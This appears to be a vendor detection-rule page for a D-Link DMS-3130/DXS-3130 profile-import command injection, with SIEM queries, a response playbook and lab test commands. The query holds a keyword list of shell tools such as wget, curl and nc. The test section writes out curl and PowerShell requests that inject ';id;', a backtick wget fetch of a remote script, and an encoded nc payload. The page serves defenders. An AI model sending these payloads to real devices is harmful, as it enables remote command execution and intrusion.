D-Link DMS-3130/DXS-3130 Nuclias Manager Profile Import OS Command Injection (CVE-2026-138358)
Detects exploitation attempts against CVE-2026-138358, an OS command injection vulnerability (CWE-77, CWE-78) in the http_import_nuclias_manager_profile function of the file 464_Nuclias_Manager_Settings.lua on D-Link DMS-3130 and DXS-3130 switches running firmware 1.20.P006. The CVSS 4.0 base score is 8.6. The affected handler imports a Nuclias Manager profile and passes the attacker-controlled nuclias_manager_profile_src_file_name argument into an OS command without sanitization, which allows remote command execution. The attack can be launched remotely. A public exploit is available. This detection surfaces HTTP requests to the profile-import endpoint carrying shell metacharacters, anomalous process spawns from the switch web server, and unexpected outbound connections from management-plane devices.
Vulnerability Intelligence
TheoreticalAffected Software
- Vendor
- D-Link
- Product
- DMS-3130, DXS-3130
- Versions
- 1.20.P006
Timeline
- Disclosed
- November 30, 2026
CVSS
What is CVE-2026-138358 D-Link DMS-3130/DXS-3130 Nuclias Manager Profile Import OS Command Injection (CVE-2026-138358)?
D-Link DMS-3130/DXS-3130 Nuclias Manager Profile Import OS Command Injection (CVE-2026-138358) (CVE-2026-138358) maps to the Initial Access and Execution and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link DMS-3130/DXS-3130 Nuclias Manager Profile Import OS Command Injection (CVE-2026-138358), covering the data sources and telemetry it touches: Network Device Syslog, Web Proxy, Firewall HTTP logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
// df00tech DF00-562014fc00 · https://df00tech.com/detections/CVE-2026-138358 · licence: https://df00tech.com/detections/licence
let suspiciousTokens = dynamic([";","|","&&","`","$(","$(","%3B","%7C","%60","%26","wget ","curl ","/bin/sh","nc ","busybox"]);
CommonSecurityLog
| where DeviceVendor has_any ("D-Link", "DLink")
| where RequestURL has "import_nuclias_manager_profile" or RequestURL has "http_import_nuclias_manager_profile"
| where RequestMethod == "POST"
| extend DecodedBody = coalesce(column_ifexists("RequestBody", ""), AdditionalExtensions)
| where DecodedBody has_any (suspiciousTokens) or RequestURL has_any (suspiciousTokens)
| project TimeGenerated, SourceIP, DestinationIP, DeviceName=DeviceProduct, RequestURL, RequestMethod, DecodedBody
| sort by TimeGenerated desc Flags HTTP POST requests to the Nuclias Manager profile-import endpoint on D-Link DMS/DXS-3130 switches that carry shell metacharacters or command-injection payloads in the URL or body.
Data Sources
Required Tables
False Positives
- Legitimate administrators importing Nuclias Manager profiles whose profile names coincidentally contain reserved characters
- Security scanners or vulnerability assessment tools probing the management interface during authorized testing
- WAF or IDS log replay/testing that reinjects sample payloads into the HTTP stream
Query fingerprint DF00-562014fc00 · licence
Sigma logsource & community rules
The detection logic for D-Link DMS-3130/DXS-3130 Nuclias Manager Profile Import OS Command Injection (CVE-2026-138358) (CVE-2026-138358) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-138358
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated command injection via Nuclias Manager profile import
Expected signal: HTTP POST to import_nuclias_manager_profile endpoint with ';id;' metacharacters in request body captured in proxy/firewall/switch web logs.
- Test 2 Profile import with remote download payload
Expected signal: HTTP request containing 'wget http://' and backtick metacharacters; potential outbound connection from switch to attacker host.
- Test 3 URL-encoded command injection attempt
Expected signal: HTTP POST with URL-encoded metacharacters (%3B, %7C) to the profile-import endpoint in web/proxy logs.
Response Playbook
Triage
- Confirm the source device is a D-Link DMS-3130 or DXS-3130 switch on firmware 1.20.P006 and that the HTTP request targeted the http_import_nuclias_manager_profile endpoint.
- Extract and URL-decode the request body; identify the exact shell metacharacters or commands injected (e.g., wget/curl of a second-stage payload, reverse shell, /bin/sh).
- Determine whether the request was authenticated and whether it originated from an expected management subnet or an external/untrusted source IP.
- Correlate the timestamp with any new process execution, config change, or outbound connection from the switch management plane.
Containment
- Isolate the affected switch management interface from untrusted networks via ACL/management VLAN restriction or firewall block of the web management port.
- Disable or restrict access to the Nuclias Manager profile-import functionality until patched, and force an administrative credential rotation for the device.
- If compromise is confirmed, remove the device from production, capture a config/firmware image, and reimage to a known-good firmware.
Evidence Collection
- Preserve the full HTTP request (headers + decoded body), source IP, and web server logs from the switch for the event window.
- Collect the switch running/startup configuration, syslog, and any new files or scheduled tasks created on the device for forensic comparison.
Escalation Criteria
- ! Escalate to incident response if the injected command includes payload download, reverse-shell, or credential/config exfiltration indicators.
- ! Escalate if the request originated from an external IP or if post-exploitation activity (new outbound connections, config tampering) is observed on the switch.
Investigation Guide
Forensic Artifacts
- >
Switch web server access/error logs referencing http_import_nuclias_manager_profile - >
Device syslog entries for unexpected process execution or config changes - >
Newly created files, cron/scheduled entries, or firmware modifications on the switch
Tuning Guidance
Tune by allowlisting known management/admin source IPs and automation hosts that perform legitimate profile imports. If the switch web logs do not populate RequestBody, rely on upstream proxy/WAF logging or packet capture for body inspection. Reduce noise from authorized scanners by excluding scheduled vulnerability-scan source ranges. Raise severity automatically when the payload contains download (wget/curl) or reverse-shell indicators.
Hunting Queries
Baseline all access to the Nuclias Manager profile-import endpoint to identify unexpected sources or volume spikes indicative of probing.
// df00tech DF00-562014fc00 · https://df00tech.com/detections/CVE-2026-138358 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "import_nuclias_manager_profile" | summarize count(), make_set(SourceIP) by bin(TimeGenerated, 1h), DeviceProduct ``` df00tech DF00-562014fc00 · https://df00tech.com/detections/CVE-2026-138358 · licence: https://df00tech.com/detections/licence ```
index=network uri="*import_nuclias_manager_profile*" | stats count values(src_ip) by http_method, dest_ip Atomic Red Team Tests
Sends a crafted POST request to the vulnerable endpoint with a shell metacharacter payload in the profile field to validate detection of injection attempts (lab device only).
Command
curl -k -s -X POST 'https://switch.lab.local/http_import_nuclias_manager_profile' --data "profile_name=test;id;&data=aaaa" Cleanup
echo 'No persistent change on attacker host; revert any test profile created on the lab switch via admin UI.' Expected Telemetry
HTTP POST to import_nuclias_manager_profile endpoint with ';id;' metacharacters in request body captured in proxy/firewall/switch web logs.
Expected Detection
KQL/SPL rules match on the profile-import path plus metacharacter payload.
Simulates a second-stage retrieval attempt by injecting a wget command into the profile import request against a lab switch.
Command
curl -k -s -X POST 'https://switch.lab.local/http_import_nuclias_manager_profile' --data 'profile_name=p`wget http://10.10.10.10/x.sh`' Cleanup
rm -f /tmp/x.sh 2>/dev/null; remove any downloaded artifact from the lab switch. Expected Telemetry
HTTP request containing 'wget http://' and backtick metacharacters; potential outbound connection from switch to attacker host.
Expected Detection
Detection fires on download-utility indicator (wget/curl) in the profile-import payload.
Tests detection of URL-encoded shell metacharacters (%3B, %7C) in the profile-import request to ensure encoded payloads are caught.
Command
powershell -c "Invoke-WebRequest -Uri 'https://switch.lab.local/http_import_nuclias_manager_profile' -Method POST -Body 'profile_name=p%3Bid%7Cnc' -SkipCertificateCheck" Cleanup
Remove-Item Env:\TEST_PAYLOAD -ErrorAction SilentlyContinue; delete any test profile on the lab switch. Expected Telemetry
HTTP POST with URL-encoded metacharacters (%3B, %7C) to the profile-import endpoint in web/proxy logs.
Expected Detection
Detection matches encoded metacharacter patterns in URL/body.
Related Detections
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040